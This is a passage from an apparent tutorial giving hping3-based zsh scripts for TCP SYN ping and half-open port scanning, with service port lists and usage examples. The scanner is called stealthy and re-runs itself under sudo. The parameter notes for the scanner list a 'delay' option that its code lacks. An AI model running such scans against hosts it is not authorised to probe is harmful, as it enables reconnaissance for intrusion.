            echo -e "  ${BLUE}Replies Received:${NC} $RECEIVED"
            echo -e "  ${BLUE}Packet Loss:${NC}      ${LOSS:-0}%"
            
            # Port status determination
            if [[ "$RECEIVED" -gt 0 ]]; then
                echo -e "  ${BLUE}Port Status:${NC}      ${GREEN}OPEN (Responding)${NC}"
            else
                echo -e "  ${BLUE}Port Status:${NC}      ${RED}CLOSED/FILTERED${NC}"
            fi
        fi
        
        # RTT statistics if available
        if [[ "$SUCCESS_COUNT" -gt 0 ]] && [[ "$TOTAL_RTT" != "0" ]]; then
            AVG_RTT=$(echo "scale=2; $TOTAL_RTT / $SUCCESS_COUNT" | bc)
            echo ""
            echo -e "  ${BLUE}RTT Statistics:${NC}"
            echo -e "    Min: ${MIN_RTT}ms"
            echo -e "    Max: ${MAX_RTT}ms"
            echo -e "    Avg: ${AVG_RTT}ms"
        fi
    fi
fi

echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Final status message
echo ""
if [ $EXIT_STATUS -eq 0 ]; then
    if grep -q "flags=SA" "$TMPFILE" 2>/dev/null; then
        echo -e "${GREEN}[✓] TCP port $PORT on $TARGET is OPEN${NC}"
        echo -e "${GREEN}    Service: $SERVICE_NAME${NC}"
    elif grep -q "flags=RA" "$TMPFILE" 2>/dev/null; then
        echo -e "${YELLOW}[!] TCP port $PORT on $TARGET is CLOSED${NC}"
        echo -e "${YELLOW}    The host is reachable but the port is not accepting connections${NC}"
    else
        echo -e "${RED}[✗] TCP port $PORT on $TARGET is FILTERED or host is down${NC}"
        echo -e "${RED}    No response received - possible firewall blocking${NC}"
    fi
else
    echo -e "${RED}[✗] TCP SYN ping failed (exit code: $EXIT_STATUS)${NC}"
fi

echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit $EXIT_STATUS
EOF

chmod +x ./tcp_syn_ping.sh

How to Run:

# Test default HTTP port (80)
./tcp_syn_ping.sh google.com

# Test HTTPS port
./tcp_syn_ping.sh google.com 443

# Test SSH port with 5 packets
./tcp_syn_ping.sh ssh.example.com 22 5

# Test with custom interval (0.5 seconds)
./tcp_syn_ping.sh 192.168.1.1 80 10 0.5

# Test database ports
./tcp_syn_ping.sh db.example.com 3306      # MySQL
./tcp_syn_ping.sh db.example.com 5432      # PostgreSQL
./tcp_syn_ping.sh cache.example.com 6379   # Redis

# Get help
./tcp_syn_ping.sh --help

Parameters Explained:
– **target** (required): Hostname or IP address to test
– **port** (optional, default: 80): TCP port to send SYN packets to
– **count** (optional, default: 1): Number of SYN packets to send

Response Analysis:
– **SYN+ACK response**: Port is open
– **RST response**: Port is closed
– **No response**: Port is filtered

Script 4: TCP SYN Port Scanner

Purpose:
Performs TCP SYN scanning across a range of ports to identify open services. This is a stealthy scanning technique that doesn’t complete the TCP handshake.

Create the Script:

cat > ./tcp_syn_scan.sh << 'EOF'
#!/bin/zsh

# TCP SYN Port Scanner using hping3
# Performs a TCP SYN scan (half-open scan) on a range of ports
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
START_PORT="${2:-1}"
END_PORT="${3:-1000}"
THREADS="${4:-50}"

# Common service ports
declare -A SERVICE_PORTS=(
    [21]="FTP"
    [22]="SSH"
    [23]="Telnet"
    [25]="SMTP"
    [53]="DNS"
    [80]="HTTP"
    [110]="POP3"
    [111]="RPC"
    [135]="MSRPC"
    [139]="NetBIOS"
    [143]="IMAP"
    [443]="HTTPS"
    [445]="SMB"
    [587]="SMTP-TLS"
    [993]="IMAPS"
    [995]="POP3S"
    [1433]="MSSQL"
    [1521]="Oracle"
    [3306]="MySQL"
    [3389]="RDP"
    [5432]="PostgreSQL"
    [5900]="VNC"
    [6379]="Redis"
    [8080]="HTTP-Alt"
    [8443]="HTTPS-Alt"
    [9200]="Elasticsearch"
    [11211]="Memcached"
    [27017]="MongoDB"
)

# Function to print usage
print_usage() {
    local script_name="./tcp_syn_scan.sh"
    echo "Usage: $script_name <target> [start_port] [end_port] [threads]"
    echo "  target     - Hostname or IP address to scan"
    echo "  start_port - Starting port number (default: 1)"
    echo "  end_port   - Ending port number (default: 1000)"
    echo "  threads    - Number of parallel threads (default: 50)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                # Scan ports 1-1000"
    echo "  $script_name 192.168.1.1 1 100         # Scan ports 1-100"
    echo "  $script_name server.local 20 25        # Scan ports 20-25"
    echo "  $script_name example.com 1 65535 100   # Full scan with 100 threads"
    echo ""
    echo "Common Port Ranges:"
    echo "  1-1000      - Common ports (default)"
    echo "  1-65535     - All ports"
    echo "  20-445      - Common services"
    echo "  1024-5000   - User ports"
    echo "  49152-65535 - Dynamic/private ports"
}

# Function to validate port range
validate_ports() {
    local start=$1
    local end=$2
    
    if ! [[ "$start" =~ ^[0-9]+$ ]] || ! [[ "$end" =~ ^[0-9]+$ ]]; then
        echo -e "${RED}Error: Port numbers must be integers${NC}"
        return 1
    fi
    
    if [ "$start" -lt 1 ] || [ "$start" -gt 65535 ] || [ "$end" -lt 1 ] || [ "$end" -gt 65535 ]; then
        echo -e "${RED}Error: Port numbers must be between 1-65535${NC}"
        return 1
    fi
    
    if [ "$start" -gt "$end" ]; then
        echo -e "${RED}Error: Start port must be less than or equal to end port${NC}"
        return 1
    fi
    
    return 0
}

# Function to get service name
get_service() {
    local port=$1
    if [[ -n "${SERVICE_PORTS[$port]}" ]]; then
        echo "${SERVICE_PORTS[$port]}"
    else
        # Try to get from system services file
        local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
        if [[ -n "$service" ]]; then
            echo "$service"
        else
            echo "unknown"
        fi
    fi
}

# Function to scan a single port
scan_port() {
    local target=$1
    local port=$2
    local tmpfile=$3
    
    # Run hping3 with timeout
    local result=$(timeout 2 hping3 -S -p "$port" -c 1 "$target" 2>/dev/null)
    
    if echo "$result" | grep -q "flags=SA"; then
        # Port is open (SYN+ACK received)
        local service=$(get_service "$port")
        echo "$port:open:$service" >> "$tmpfile"
        echo -e "${GREEN}[✓] Port $port/tcp open - $service${NC}"
    elif echo "$result" | grep -q "flags=RA"; then
        # Port is closed (RST+ACK received)
        echo "$port:closed" >> "${tmpfile}.closed"
    else
        # Port is filtered or no response
        echo "$port:filtered" >> "${tmpfile}.filtered"
    fi
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Validate port range
if ! validate_ports "$START_PORT" "$END_PORT"; then
    exit 1
fi

# Validate threads
if ! [[ "$THREADS" =~ ^[0-9]+$ ]] || [ "$THREADS" -lt 1 ] || [ "$THREADS" -gt 500 ]; then
    echo -e "${RED}Error: Threads must be between 1-500${NC}"
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check for timeout command
if ! command -v gtimeout &> /dev/null && ! command -v timeout &> /dev/null; then
    echo -e "${YELLOW}Warning: timeout command not found${NC}"
    echo "Install with: brew install coreutils"
    echo "Continuing without timeout protection..."
    echo ""
    
    # Create wrapper function for timeout
    timeout() {
        shift  # Remove the timeout value
        "$@"   # Execute the command directly
    }
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: TCP SYN scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Calculate total ports
TOTAL_PORTS=$((END_PORT - START_PORT + 1))

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║        TCP SYN PORT SCANNER            ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}        $TARGET"
echo -e "  ${BLUE}Port Range:${NC}    $START_PORT - $END_PORT"
echo -e "  ${BLUE}Total Ports:${NC}   $TOTAL_PORTS"
echo -e "  ${BLUE}Threads:${NC}       $THREADS"
echo -e "  ${BLUE}Scan Type:${NC}     TCP SYN (Half-open)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Resolve target to IP
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
if [ -z "$TARGET_IP" ]; then
    TARGET_IP="$TARGET"
    echo -e "${YELLOW}[*] Could not resolve hostname, using as-is${NC}"
else
    echo -e "${GREEN}[✓] Target resolved to: $TARGET_IP${NC}"
fi

# Create temporary files
TMPDIR=$(mktemp -d)
OPEN_PORTS_FILE="$TMPDIR/open_ports"
trap "rm -rf $TMPDIR" EXIT

# Start time
START_TIME=$(date +%s)

echo ""
echo -e "${GREEN}[+] Starting TCP SYN scan...${NC}"
echo -e "${YELLOW}[*] Scanning $TOTAL_PORTS ports with $THREADS parallel threads${NC}"
echo ""

# Progress tracking
SCANNED=0
JOBS_COUNT=0

# Function to update progress
show_progress() {
    local current=$1
    local total=$2
    local percent=$((current * 100 / total))
    printf "\r${CYAN}Progress: [%-50s] %d%% (%d/%d ports)${NC}" \
           "$(printf '#%.0s' $(seq 1 $((percent / 2))))" \
           "$percent" "$current" "$total"
}

# Main scanning loop
for port in $(seq $START_PORT $END_PORT); do
    # Launch scan in background
    scan_port "$TARGET_IP" "$port" "$OPEN_PORTS_FILE" &
    
    # Manage parallel jobs
    JOBS_COUNT=$(jobs -r | wc -l)
    while [ "$JOBS_COUNT" -ge "$THREADS" ]; do
        sleep 0.05
        JOBS_COUNT=$(jobs -r | wc -l)
    done
    
    # Update progress
    ((SCANNED++))
    show_progress "$SCANNED" "$TOTAL_PORTS"
done

# Wait for remaining jobs
echo -e "\n${YELLOW}[*] Waiting for remaining scans to complete...${NC}"
wait

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Process results
echo -e "\r\033[K"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           SCAN RESULTS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Count results
OPEN_COUNT=0
CLOSED_COUNT=0
FILTERED_COUNT=0

if [ -f "$OPEN_PORTS_FILE" ]; then
    OPEN_COUNT=$(wc -l < "$OPEN_PORTS_FILE" | tr -d ' ')
fi
if [ -f "${OPEN_PORTS_FILE}.closed" ]; then
    CLOSED_COUNT=$(wc -l < "${OPEN_PORTS_FILE}.closed" | tr -d ' ')
fi
if [ -f "${OPEN_PORTS_FILE}.filtered" ]; then
    FILTERED_COUNT=$(wc -l < "${OPEN_PORTS_FILE}.filtered" | tr -d ' ')
fi

# Display open ports
if [ "$OPEN_COUNT" -gt 0 ]; then
    echo -e "${GREEN}[✓] Found $OPEN_COUNT open port(s)${NC}"
    echo ""
    echo -e "${MAGENTA}Open Ports:${NC}"
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    printf "${WHITE}%-10s %-15s %s${NC}\n" "PORT" "STATE" "SERVICE"
    echo -e "${CYAN}────────────────────────────────────────${NC}"
    
    # Sort and display open ports
    sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port state service; do
        printf "${GREEN}%-10s${NC} ${GREEN}%-15s${NC} ${YELLOW}%s${NC}\n" "$port/tcp" "$state" "$service"
    done
    
    # Save detailed report
    REPORT_FILE="tcp_scan_${TARGET}_$(date +%Y%m%d_%H%M%S).txt"
    {
        echo "TCP SYN Scan Report"
        echo "==================="
        echo "Target: $TARGET ($TARGET_IP)"
        echo "Port Range: $START_PORT - $END_PORT"
        echo "Scan Date: $(date)"
        echo "Duration: ${DURATION} seconds"
        echo "Scan Rate: $(( TOTAL_PORTS / (DURATION + 1) )) ports/second"
        echo ""
        echo "Results Summary:"
        echo "----------------"
        echo "Open ports: $OPEN_COUNT"
        echo "Closed ports: $CLOSED_COUNT"
        echo "Filtered ports: $FILTERED_COUNT"
        echo ""
        echo "Open Ports Detail:"
        echo "------------------"
        sort -t: -k1 -n "$OPEN_PORTS_FILE" | while IFS=: read -r port state service; do
            printf "%-10s %-15s %s\n" "$port/tcp" "$state" "$service"
        done
    } > "$REPORT_FILE"
    
    echo ""
    echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
    echo -e "${BLUE}[*] Detailed report saved to: $REPORT_FILE${NC}"
else
    echo -e "${YELLOW}[-] No open ports found in the specified range${NC}"
    echo -e "${YELLOW}    Possible reasons:${NC}"
    echo -e "${YELLOW}    • All ports are closed or filtered${NC}"
    echo -e "${YELLOW}    • Firewall is blocking SYN packets${NC}"
    echo -e "${YELLOW}    • Target is down or unreachable${NC}"
fi

# Display statistics
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}           STATISTICS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "  ${BLUE}Ports Scanned:${NC}  $TOTAL_PORTS"
echo -e "  ${GREEN}Open:${NC}           $OPEN_COUNT"
echo -e "  ${RED}Closed:${NC}         $CLOSED_COUNT"
echo -e "  ${YELLOW}Filtered:${NC}       $FILTERED_COUNT"
echo -e "  ${BLUE}Scan Duration:${NC}  ${DURATION} seconds"
echo -e "  ${BLUE}Scan Rate:${NC}      ~$(( TOTAL_PORTS / (DURATION + 1) )) ports/sec"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ./tcp_syn_scan.sh

How to Run:

# Scan default ports 1-1000
./tcp_syn_scan.sh example.com

# Scan specific range
./tcp_syn_scan.sh 192.168.1.1 1 100

# Quick scan of common services
./tcp_syn_scan.sh server.local 20 445

# Full port scan with 100 threads
./tcp_syn_scan.sh example.com 1 65535 100

# Scan web ports
./tcp_syn_scan.sh webserver.com 80 443

# Scan database ports
./tcp_syn_scan.sh dbserver.com 3300 3400

# Get help
./tcp_syn_scan.sh --help

Parameters Explained:
– **target** (required): Hostname or IP address to scan
– **start_port** (optional, default: 1): First port in the range to scan
– **end_port** (optional, default: 1000): Last port in the range to scan
– **delay** (optional, default: u1000): Delay between packets (u=microseconds)

Script 5: Common Ports Scanner:

Purpose:
Scans a predefined list of commonly used ports with service identification. This is more efficient than scanning large port ranges when looking for standard services.

Create the Script:

brew install coreutils

cat > ./common_ports_scan.sh << 'EOF'
#!/bin/zsh

# Common Ports Scanner using hping3
# Scans commonly used ports with predefined or custom port lists
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
SCAN_TYPE="${2:-default}"
CUSTOM_PORTS="$3"
THREADS="${4:-50}"

# Port categories
declare -A PORT_CATEGORIES=(
    ["default"]="21,22,23,25,53,80,110,143,443,445,3306,3389,5432,8080,8443"
    ["web"]="80,443,8080,8443,8000,8888,3000,5000,9000"
    ["mail"]="25,110,143,465,587,993,995"
    ["database"]="1433,1521,3306,5432,5984,6379,7000,7001,8086,9042,9200,11211,27017"
    ["remote"]="22,23,3389,5900,5901,5902"
    ["file"]="20,21,69,139,445,873,2049"
    ["top100"]="7,9,13,21,22,23,25,26,37,53,79,80,81,88,106,110,111,113,119,135,139,143,144,179,199,389,427,443,444,445,465,513,514,515,543,544,548,554,587,631,646,873,990,993,995,1025,1026,1027,1028,1029,1110,1433,1521,1701,1720,1723,1755,1900,2000,2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000,6001,6379,6646,7000,7070,8000,8008,8009,8080,8081,8443,8888,9100,9200,9999,10000,27017,32768,49152,49153,49154,49155,49156,49157"
    ["top1000"]="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6379,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9300,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11211,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27017,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389"
)

# Service mapping
declare -A SERVICE_NAMES=(
    [20]="FTP-Data"
    [21]="FTP"
    [22]="SSH"
    [23]="Telnet"
    [25]="SMTP"
    [53]="DNS"
    [67]="DHCP"
    [68]="DHCP"
    [69]="TFTP"
    [80]="HTTP"
    [110]="POP3"
    [123]="NTP"
    [135]="MSRPC"
    [137]="NetBIOS-NS"
    [138]="NetBIOS-DGM"
    [139]="NetBIOS-SSN"
    [143]="IMAP"
    [161]="SNMP"
    [162]="SNMP-Trap"
    [389]="LDAP"
    [443]="HTTPS"
    [445]="SMB"
    [465]="SMTPS"
    [514]="Syslog"
    [515]="LPD"
    [587]="SMTP-TLS"
    [636]="LDAPS"
    [873]="Rsync"
    [993]="IMAPS"
    [995]="POP3S"
    [1433]="MSSQL"
    [1521]="Oracle"
    [1723]="PPTP"
    [2049]="NFS"
    [3306]="MySQL"
    [3389]="RDP"
    [5432]="PostgreSQL"
    [5900]="VNC"
    [5984]="CouchDB"
    [6379]="Redis"
    [7000]="Cassandra"
    [8000]="HTTP-Alt"
    [8080]="HTTP-Proxy"
    [8086]="InfluxDB"
    [8443]="HTTPS-Alt"
    [8888]="HTTP-Alt2"
    [9000]="SonarQube"
    [9042]="Cassandra-CQL"
    [9200]="Elasticsearch"
    [11211]="Memcached"
    [27017]="MongoDB"
)

# Function to print usage
print_usage() {
    local script_name="./common_ports_scan.sh"
    echo "Usage: $script_name <target> [scan_type|custom_ports] [threads]"
    echo ""
    echo "Scan Types:"
    echo "  default    - Top 15 most common ports (default)"
    echo "  web        - Web server ports (80, 443, 8080, etc.)"
    echo "  mail       - Mail server ports (25, 110, 143, etc.)"
    echo "  database   - Database ports (MySQL, PostgreSQL, MongoDB, etc.)"
    echo "  remote     - Remote access ports (SSH, RDP, VNC, etc.)"
    echo "  file       - File sharing ports (FTP, SMB, NFS, etc.)"
    echo "  top100     - Top 100 most common ports"
    echo "  top1000    - Top 1000 most common ports"
    echo "  custom     - Specify custom ports as comma-separated list"
    echo ""
    echo "Parameters:"
    echo "  target     - Hostname or IP address to scan"
    echo "  scan_type  - Type of scan or comma-separated port list"
    echo "  threads    - Number of parallel threads (default: 50)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com                    # Scan default ports"
    echo "  $script_name example.com web                # Scan web ports"
    echo "  $script_name example.com database           # Scan database ports"
    echo "  $script_name example.com top100             # Scan top 100 ports"
    echo "  $script_name example.com \"22,80,443,3306\"   # Custom ports"
    echo "  $script_name example.com top1000 100        # Top 1000 with 100 threads"
}

# Function to get service name
get_service_name() {
    local port=$1
    if [[ -n "${SERVICE_NAMES[$port]}" ]]; then
        echo "${SERVICE_NAMES[$port]}"
    else
        # Try to get from system services
        local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
        if [[ -n "$service" ]]; then
            echo "$service"
        else
            echo "Unknown"
        fi
    fi
}

# Function to scan a single port
scan_port() {
    local target=$1
    local port=$2
    local tmpfile=$3
    
    # Run hping3 with timeout
    local result=$(timeout 2 hping3 -S -p "$port" -c 1 "$target" 2>/dev/null || true)
    
    if echo "$result" | grep -q "flags=SA"; then
        # Port is open (SYN+ACK received)
        local service=$(get_service_name "$port")
        echo "$port:$service" >> "$tmpfile"
        echo -e "${GREEN}[✓] Port $port/tcp open - $service${NC}"
    fi
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Determine ports to scan
if [[ "$SCAN_TYPE" =~ ^[0-9,]+$ ]]; then
    # Custom ports provided
    PORTS_TO_SCAN="$SCAN_TYPE"
    SCAN_DESCRIPTION="Custom ports"
elif [[ -n "${PORT_CATEGORIES[$SCAN_TYPE]}" ]]; then
    # Predefined category
    PORTS_TO_SCAN="${PORT_CATEGORIES[$SCAN_TYPE]}"
    SCAN_DESCRIPTION="$SCAN_TYPE ports"
else
    # Invalid scan type, use default
    PORTS_TO_SCAN="${PORT_CATEGORIES[default]}"
    SCAN_DESCRIPTION="Default common ports"
    if [[ -n "$SCAN_TYPE" ]] && [[ "$SCAN_TYPE" != "default" ]]; then
        echo -e "${YELLOW}Warning: Unknown scan type '$SCAN_TYPE', using default${NC}"
    fi
fi

# Parse threads parameter
if [[ -n "$CUSTOM_PORTS" ]] && [[ "$CUSTOM_PORTS" =~ ^[0-9]+$ ]]; then
    THREADS="$CUSTOM_PORTS"
elif [[ -n "$3" ]] && [[ "$3" =~ ^[0-9]+$ ]]; then
    THREADS="$3"
fi

# Validate threads
if ! [[ "$THREADS" =~ ^[0-9]+$ ]] || [ "$THREADS" -lt 1 ] || [ "$THREADS" -gt 500 ]; then
    THREADS=50
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check for timeout command and create appropriate wrapper
if command -v gtimeout &> /dev/null; then
    # macOS with coreutils installed
    timeout() {
        gtimeout "$@"
    }
elif command -v timeout &> /dev/null; then
    # Linux or other systems with timeout
    timeout() {
        command timeout "$@"
    }
else
    # No timeout command available
    echo -e "${YELLOW}Warning: timeout command not found${NC}"
    echo "Install with: brew install coreutils"
    echo "Continuing without timeout protection..."
    echo ""
    timeout() {
        shift  # Remove timeout value
        "$@"   # Execute command directly
    }
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: TCP SYN scan requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Convert ports to array (zsh compatible)
IFS=',' PORT_ARRAY=(${=PORTS_TO_SCAN})
TOTAL_PORTS=${#PORT_ARRAY[@]}

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║      COMMON PORTS SCANNER              ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}      $TARGET"
echo -e "  ${BLUE}Scan Type:${NC}   $SCAN_DESCRIPTION"
echo -e "  ${BLUE}Total Ports:${NC} $TOTAL_PORTS"
echo -e "  ${BLUE}Threads:${NC}     $THREADS"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Resolve target
echo -e "${YELLOW}[*] Resolving target...${NC}"
TARGET_IP=$(ping -c 1 "$TARGET" 2>/dev/null | grep -oE "\([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\)" | tr -d '()')
